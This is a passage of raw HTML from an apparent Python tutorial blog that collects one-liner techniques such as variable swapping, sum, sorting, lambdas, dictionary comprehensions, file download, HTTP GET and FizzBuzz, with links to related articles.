Hack<\/a><\/li>\n<li><a href=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"If-Then-Else in One Line Python [Video + Interactive Code Shell]\">If-Then-Else in One Line Python [Video + Interactive Code Shell]<\/a><\/li>\n<\/ul>\n<h2>Python One Line Swap<\/h2>\n<p><strong>Problem<\/strong>: Given two variables <code>a<\/code> and <code>b<\/code>. Use a <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\">single line<\/a> of Python code to swap the variables to assign the value of <code>a<\/code> to <code>b<\/code> and the value of <code>b<\/code> to <code>a<\/code>. <\/p>\n<p><strong>Example<\/strong>: Say, you have to integers <code>a=21<\/code> and <code>b=42<\/code>. You want to swap the variables so that <code>a=42<\/code> and <code>b=21<\/code>. <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = 21\nb = 42\n# SWAP MAGIC HERE\nprint(a, b)\n# 42 21<\/pre>\n<p><strong>How to swap to variables as a <a href=\"https:\/\/blog.finxter.com\/python-one-line-x\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line X\">Python one-liner<\/a>?<\/strong><\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/swapVariables-1024x576.jpg\" alt=\"Swap Variables Python\" class=\"wp-image-12452\" width=\"768\" height=\"432\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/swapVariables-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/swapVariables-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/swapVariables-768x432.jpg 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/swapVariables-150x84.jpg 150w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n<\/div>\n<p>To swap two variables a and b, use the <a href=\"https:\/\/blog.finxter.com\/python-tuple-to-integer\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Tuple to Integer\">multiple assignment<\/a> expression <code>a, b = b, a<\/code> that assigns the value of <code>a<\/code> to <code>b<\/code> and the value of <code>b<\/code> to <code>a<\/code>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = 21\nb = 42 # Swap One-Liner\na, b = b, a # Print the result to the shell\nprint(a, b)\n# 42 21\n<\/pre>\n<p>Find a detailed explanation of this one-liner at our interactive code tutorial:<\/p>\n<p><strong>Related tutorial<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-swap-two-variables-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Swap Two Variables in One Line Python?\">How to Swap Two Variables in One Line Python?<\/a><\/p>\n<h2>Python One Line Sum<\/h2>\n<p><strong>Problem<\/strong>: How to sum over all values in a given Python list? <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = [1, 2, 3]<\/pre>\n<p>You want to calculate the sum of all values in the list&#8212;using only a single line of Python code!<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># RESULT: 6<\/pre>\n<p><strong>Solution<\/strong>: Python&#8217;s built-in <code><a href=\"https:\/\/blog.finxter.com\/python-sum-list\/\" title=\"Python sum() List \u2013 A Simple Illustrated Guide\">sum()<\/a><\/code> function helps you to sum over all values in an iterable, such as a <a href=\"https:\/\/blog.finxter.com\/python-lists\/\" title=\"The Ultimate Guide to Python Lists\" target=\"_blank\" rel=\"noreferrer noopener\">Python list<\/a>. Here&#8217;s the minimal code example.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = [1, 2, 3] print(sum(a))\n# 6<\/pre>\n<p>How does it work? The syntax is <code>sum(iterable, start=0)<\/code>:<\/p>\n<figure class=\"wp-block-table is-style-stripes\">\n<table>\n<thead>\n<tr>\n<th>Argument<\/th>\n<th>Description<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>iterable<\/code><\/td>\n<td>Sum over all elements in the <code>iterable<\/code>. This can be a list, a tuple, a set, or any other data structure that allows you to iterate over the elements. <br \/><strong>Example<\/strong>: <code>sum([1, 2, 3])<\/code> returns <code>1+2+3=6<\/code>. <\/td>\n<\/tr>\n<tr>\n<td><code>start<\/code><\/td>\n<td>(Optional.) The default start value is 0. If you define another start value, the sum of all values in the <code>iterable<\/code> will be added to this start value. <br \/><strong>Example<\/strong>: <code>sum([1, 2, 3], 9)<\/code> returns <code>9+1+2+3=15<\/code>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"Python sum() List - A Simple Illustrated Guide\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/BGddaP8pNcc?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p>Please find more details in the complete tutorial about summing over all values in a list and a nested list:<\/p>\n<p><strong>Related Tutorial<\/strong>:<a href=\"https:\/\/blog.finxter.com\/python-one-line-sum-list\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Sum List\"> Python One Line Sum List<\/a><\/p>\n<h2>Python One Line Sort<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\">To sort and return a Python list in a single line of code, use the <code>sorted(list)<\/code> method that returns a new list of sorted elements. It copies only the references to the original elements so the returned list is not a deep but a shallow copy. <\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/09\/sortandreturn-1024x576.jpg\" alt=\"How to Sort and Return a Python List in One Line?\" class=\"wp-image-12570\" width=\"768\" height=\"432\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/09\/sortandreturn-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/09\/sortandreturn-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/09\/sortandreturn-768x432.jpg 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/09\/sortandreturn-150x84.jpg 150w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n<\/div>\n<p><strong>Problem<\/strong>: Given a <a href=\"https:\/\/blog.finxter.com\/python-lists\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"The Ultimate Guide to Python Lists\">list <\/a>of comparable objects such as integers or <a href=\"https:\/\/blog.finxter.com\/decimal-pythons-float-trap-and-how-to-solve-it\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Decimal: Python\u2019s Float Trap and How to Solve it\">floats<\/a>. Is there a way to <a href=\"https:\/\/blog.finxter.com\/python-list-sort-key\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python List Sort Key\">sort the list<\/a> and return the sorted list in a <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">single line of Python<\/a> code?<\/p>\n<p><strong>Example<\/strong>: Say, you&#8217;ve got the following list.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = [4, 2, 1, 3]<\/pre>\n<p>You want to sort this list and return the result in a single line. If you use the <code>list.sort()<\/code> method, the return value is <code>None<\/code>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print(a.sort())\n# None<\/pre>\n<p>The return value of the <code>list.sort()<\/code> method is <code>None<\/code>, but many coders expect it to be the sorted list. So they\u2019re surprised finding out that their variables contain the <code>None<\/code> type rather than a sorted list.<\/p>\n<p>Here&#8217;s a quick overview of the methods to accomplish this:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/ModestAllMp3?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"700px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Change the list to be sorted by adding negative floats. Does it still work?<\/em><\/p>\n<p>Do you want to learn more about each of the methods? Check out my related tutorial:<\/p>\n<p><strong>Related tutorial<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-sort-and-return-a-python-list-in-one-line\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Sort and Return a Python List in One Line?\">How to Sort and Return a Python List in One Line?<\/a><\/p>\n<h2>Python One Line Semicolon<\/h2>\n<p>Here\u2019s how one may use the semicolon:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">x = 'hi'; y = 'young'; z = 'friend'; print(x, y, z);<\/pre>\n<p>If you run this Python one-liner with semicolons, you\u2019ll get the following output: <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">hi young friend<\/pre>\n<p>On the first view, it doesn\u2019t even look like Python code! C++ has semicolons. Java has semicolons. But Python is supposed to be a semicolon-free language, isn\u2019t it?<\/p>\n<p>The meaning of the semicolon in programming languages such as Java and C++ is to <strong><em>terminate the current statement<\/em><\/strong>. In those languages, you\u2019ll use it after every single line. Without it, the interpreter believes that the code has not terminated yet and it starts looking for more. Any Java or C++ coder knows situations where an error occurred because they forgot to use a semicolon in their code.<\/p>\n<p>In Python, however, semicolons have a slightly different meaning. They allow you to create so-called <a href=\"https:\/\/docs.python.org\/3\/reference\/compound_stmts.html\" target=\"_blank\" rel=\"noreferrer noopener\">compound statements<\/a>. The <code>if<\/code> construct is a compound statement. The <code><a href=\"https:\/\/blog.finxter.com\/python-loops\/\" target=\"_blank\" rel=\"noreferrer noopener\">for<\/a><\/code> loop is a compound statement. And, a number of semicolon-separated Python statements are compound statements.<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-semicolons-how-they-work-and-why-haters-tell-you-to-avoid-them\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Semicolons: How They Work and Why Haters Tell You to Avoid Them\">Python Semicolons: How They Work and Why Haters Tell You to Avoid Them<\/a><\/p>\n<h2>Python One Line Function Definition<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\">A lambda function allows you to define a function in a single line. It starts with the keyword <code>lambda<\/code>, followed by a comma-separated list of zero or more arguments, followed by the colon and the return expression. For example, <code>lambda x, y: x+y<\/code> calculates the sum of the two argument values <code>x+y<\/code> in one line of Python code.<\/p>\n<p><strong>Problem<\/strong>: How to define a function in a single line of Python code?<\/p>\n<p><strong>Example<\/strong>: Say, you&#8217;ve got the following function in three lines. How to compress them into a single line of Python code?<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">def say_hi(*friends): for friend in friends: print('hi', friend) friends = ['Alice', 'Bob', 'Ann']\nsay_hi(*friends)\n<\/pre>\n<p>The code defines a function <code>say_hi<\/code> that takes an iterable as input&#8212;the names of your friends&#8212;and prints <code>'hi x'<\/code> for each element <code>x<\/code> in your iterable. <\/p>\n<p>The output is:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">'''\nhi Alice\nhi Bob\nhi Ann '''<\/pre>\n<p>Let&#8217;s dive into the different methods to accomplish this! First, here&#8217;s a quick interactive overview to test the waters:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/AuthenticWarmheartedGraphicslibrary?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"900px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Run the code&#8212;is the output the same for all four methods?<\/em><\/p>\n<p>In the following article, you&#8217;ll learn about each method in greater detail!<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-function-definition\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Function Definition\">Python One Line Function Definition<\/a><\/p>\n<h2>Python One Line Dictionary<\/h2>\n<p><strong>Challenge<\/strong>: Say, you want to have the list indices as keys and the list elements as values.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Given a list:\na = ['Alice', 'Liz', 'Bob'] # One-Line Statement Creating a Dict:\nd = dict(enumerate(a)) print(d)\n# {0: 'Alice', 1: 'Liz', 2: 'Bob'}<\/pre>\n<p>The one-liner <code>dict(enumerate(a))<\/code> first creates an iterable of <code>(index, element)<\/code> tuples from the list <code>a<\/code> using the <a href=\"https:\/\/blog.finxter.com\/the-top-18-best-python-tricks\/\" target=\"_blank\" rel=\"noreferrer noopener\"><code>enumerate<\/code> <\/a>function. The <code>dict()<\/code> <a href=\"https:\/\/blog.finxter.com\/python-init\/\" target=\"_blank\" rel=\"noreferrer noopener\">constructor <\/a>than transforms this iterable of tuples to <code>(key, value)<\/code> mappings. The <code>index<\/code> <a href=\"https:\/\/blog.finxter.com\/the-ultimate-guide-to-python-tuples\/\">tuple <\/a>value becomes the new <code>key<\/code>. The <code>element<\/code> tuple value becomes the new <code>value<\/code>.<\/p>\n<p>Learn more about different one-liners in the context of dictionaries in this blog article:<\/p>\n<p><strong>Related Article:<\/strong><a href=\"https:\/\/blog.finxter.com\/python-one-line-dictionary\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Dictionary\"> Python One Line Dictionary<\/a><\/p>\n<h2>Python One Line Dict Comprehension<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\"><strong>Dictionary Comprehension<\/strong> is a concise and memory-efficient way to <strong>create and initialize dictionaries<\/strong> in one line of Python code. It consists of two parts: expression and context. The <strong>expression <\/strong>defines how to map keys to values. The <strong>context <\/strong>loops over an iterable using a single-line for loop and defines which (key,value) pairs to include in the new dictionary.<\/p>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"Python Dictionary Comprehension - A Powerful One-Liner Tutorial\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/TlEC5Jx72Uc?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p><strong>Related Article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/python-dictionary-comprehension\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Dictionary Comprehension: A Powerful One-Liner Tutorial\">Python Dictionary Comprehension<\/a><\/p>\n<h2>Python One Line Docstring<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\">Per <a href=\"https:\/\/www.python.org\/dev\/peps\/pep-0257\/#id16\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.python.org\/dev\/peps\/pep-0257\/#id16\">convention<\/a>, you use one-line docstrings if the function, module, class, or method is obvious enough to warrant a short explanation&#8212;but nothing more. You can enclose the one-liner docstring within single quotes, double quotes, or even triple quotes. However, enclosing the one-liner docstring in a triple quote is the most Pythonic way. <\/p>\n<p>For example, the following function can be easily understood. Therefore, a one-liner docstring is sufficient to describe its behavior:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">def add(x, y): '''Add both arguments and returns their sum.''' return x + y print(add.__doc__)\n# Add both arguments and returns their sum.<\/pre>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-docstring\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Docstring\">Python One Line Docstring<\/a><\/p>\n<h2>Python One Line Download File<\/h2>\n<p><strong>Summary<\/strong>: Download a file over the web by using the following steps in Python.<\/p>\n<ul>\n<li>Import libary <code>requests<\/code><\/li>\n<li>Define URL string<\/li>\n<li>Get file data from URL<\/li>\n<li>Store file data in file object on your computer<\/li>\n<\/ul>\n<p>Here&#8217;s how you can do this to download the Facebook Favicon (<a href=\"https:\/\/www.tutorialspoint.com\/downloading-files-from-web-using-python\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.tutorialspoint.com\/downloading-files-from-web-using-python\">source<\/a>):<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/FinishedSufficientLamp?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"600px\" frameborder=\"no\"><\/iframe> <\/p>\n<hr class=\"wp-block-separator\"\/>\n<p>At the beginning of our struggle with <a href=\"https:\/\/blog.finxter.com\/how-to-earn-1000-on-the-side-as-a-python-freelancer-a-step-by-step-tutorial\/\" title=\"How to Become a Python Freelancer\u2014and Earn $1,000 on the Side? [A Step-by-Step Tutorial]\" target=\"_blank\" rel=\"noreferrer noopener\">web scraping<\/a>, you may have trouble downloading files using Python. However, the following article provides you with several methods that you can use to download, for example, the cover of a book from the page.&nbsp;<\/p>\n<p><strong>Related Article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/how-to-download-a-file-over-https-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Download a File Over HTTPS in Python?\">How to Download a File Over HTTPS in Python?<\/a><\/p>\n<h2>Python One Line For Loop Append<\/h2>\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/03\/append-1024x576.jpg\" alt=\"list append vs extend\"\/><\/figure>\n<p>However, a much better option to append all elements in a given iterable to a given list is to use the <code><a href=\"https:\/\/blog.finxter.com\/python-list-extend\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python List extend() Method\">list.extend()<\/a><\/code> method:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Method 3\nfriends = ['Ann', 'Alice']\nnew_friends = ['Bob', 'Liz'] # One-Liner:\nfriends.extend(new_friends) # Results\nprint(friends)\n# ['Ann', 'Alice', 'Bob', 'Liz']<\/pre>\n<p>The one-liner is much shorter and even faster. You can find a <a href=\"https:\/\/blog.finxter.com\/python-list-append-vs-extend\/\" title=\"Python List append() vs extend()\" target=\"_blank\" rel=\"noreferrer noopener\">detailed speed comparison here<\/a>. <\/p>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"Python List extend() Method [No-BS]\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/o-zrozPt_CY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p><strong>Related Article: <\/strong><a href=\"https:\/\/blog.finxter.com\/python-one-line-for-loop-append\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line For Loop Append\">Python One Line For Loop Append<\/a><\/p>\n<h2>Python One Line Generator<\/h2>\n<p><strong><em>A generator function is a Pythonic way to create an iterable without explicitly storing it in memory.<\/em><\/strong> This reduces memory usage of your code without incurring any additional costs.<\/p>\n<p><strong>Problem<\/strong>: Can we write a one-line generator?<\/p>\n<p>Here&#8217;s the code that accomplishes this:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print(sum(random.random() for i in range(1000)))<\/pre>\n<p>The code consists of the following parts:<\/p>\n<ul>\n<li>The <code><a href=\"https:\/\/blog.finxter.com\/the-separator-and-end-arguments-of-the-python-print-function\/\" title=\"Python Print Function [And Its SECRET Separator &amp; End Arguments]\" target=\"_blank\" rel=\"noreferrer noopener\">print()<\/a><\/code> function prints the result of the expression to the shell. <\/li>\n<li>The <code><a href=\"https:\/\/blog.finxter.com\/python-one-line-sum-list\/\" title=\"Python One Line Sum List\" target=\"_blank\" rel=\"noreferrer noopener\">sum()<\/a><\/code> function sums over all values in the following iterable.<\/li>\n<li>The generator expression <code>random.random() for i in range(1000)<\/code> generates 1000 random numbers and feeds them into the outer sum() function without creating all of them at once.<\/li>\n<\/ul>\n<p>This way, we still don&#8217;t store the whole list of 1000 numbers in memory but create them dynamically. <\/p>\n<p><strong>Related Article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/python-one-line-generator\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Generator\">Python One Line Generator<\/a><\/p>\n<h2>Python One-Line Password Generator<\/h2>\n<p>The following interactive code shell creates a random password for you&#8212;using only a single line of Python code!<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/SnappyHarshLesson?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"400px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><strong>Related Article: <\/strong><a href=\"https:\/\/blog.finxter.com\/python-one-line-password-generator\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One-Line Password Generator\">Python One-Line Password Generator<\/a><\/p>\n<h2>Python One Line HTTP Get<\/h2>\n<p>This tutorial shows you how to perform simple <strong>HTTP get and post requests<\/strong> to an existing webserver!<\/p>\n<p><strong>Problem<\/strong>: Given the URL location of a webserver serving websites via HTTP. How to access the webserver&#8217;s response in a single line of Python code?<\/p>\n<p><strong>Example<\/strong>: Say, you want to accomplish the following:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">url = 'https:\/\/google.com'\n# ... Magic One-Liner Here...\nprint(result)\n# ... Google HTML file: '''\n&lt;!doctype html>&lt;html itemscope=\"\" itemtype=\"http:\/\/schema.org\/WebPage\" lang=\"de\">&lt;head>&lt;meta content=\"text\/html; charset=UTF-8\" http-equiv=\"Content-Type\">&lt;meta content=\"\/images\/branding\/googleg\/1x\/googleg_standard_color_128dp.png\" itemprop=\"image\">&lt;title>Google&lt;\/title>... '''<\/pre>\n<p>You can try it yourself in our interactive Python shell:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/KookyDeepskyblueHardware?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"400px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Does this script download the complete source code of the Google.com website?<\/em><\/p>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-http-get\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line HTTP Get\">Let&#8217;s learn about the three most important methods to access a website in a single line of Python code&#8212;and how they work!<\/a><\/p>\n<h2>Python Global in One Line<\/h2>\n<p>To update a global variable in one line of Python, retrieve the global variable <a href=\"https:\/\/blog.finxter.com\/python-dictionary\/\" target=\"_blank\" rel=\"noreferrer noopener\">dictionary <\/a>with the <code>globals()<\/code> function, and access the variable by passing the variable name as a string key such as <code>globals()['variable']<\/code>. Then overwrite the global variable using the equal symbol, for example in <code>globals()['variable'] = 42<\/code> to overwrite the variable with value <code>42<\/code>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = 42\ndef update_3(): globals()['a'] = 21 update_3()\nprint(a)\n# 21<\/pre>\n<p>The code first accesses all global variables using the <code>globals()<\/code> function that returns a dictionary mapping names to objects. You access the value associated to the key <code>'a'<\/code>. The return value is the object to which global variable <code>a<\/code> points. <\/p>\n<p><strong>Related article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/python-global-in-one-line\/\" title=\"Python Global in One Line\">Python One Line Global<\/a><\/p>\n<h2>Python One Line FizzBuzz<\/h2>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fizz_buzz\" target=\"_blank\" rel=\"noreferrer noopener\">FizzBuzz <\/a>problem is a common exercise posed in code interviews to test your proficiency in writing simple Python code.<\/p>\n<p><strong>Problem<\/strong>: Print all numbers from 1-100 to the shell with three exceptions: <\/p>\n<ul>\n<li>For each number divisible by three you print <code>\"Fizz\"<\/code>, <\/li>\n<li>For each number divisible by five you print <code>\"Buzz\"<\/code>, and<\/li>\n<li>For each number divisible by three and five you print <code>\"FizzBuzz\"<\/code>. <\/li>\n<\/ul>\n<p><strong>Example<\/strong>: The first 15 numbers of the FizzBuzz sequence are the following.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\nBuzz\n11\nFizz\n13\n14\nFizzBuzz\n...<\/pre>\n<p>How to write a Python one-liner that solves this problem?<\/p>\n<p>Here&#8217;s an interactive overview:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/RashMintyConstants?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"600px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Do both one-liners produce the same results? Run the code to check!<\/em><\/p>\n<p>Let&#8217;s dive into those one-liners to gain a deeper understanding of the matter!<\/p>\n<p><strong>Related Tutorial<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-fizzbuzz\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line FizzBuzz\">Python One Line FizzBuzz<\/a><\/p>\n<h2>Python One Line Hello World<\/h2>\n<p><strong>Step 1: <\/strong>Here&#8217;s an interactive browser-based shell:<\/p>\n<p> <iframe 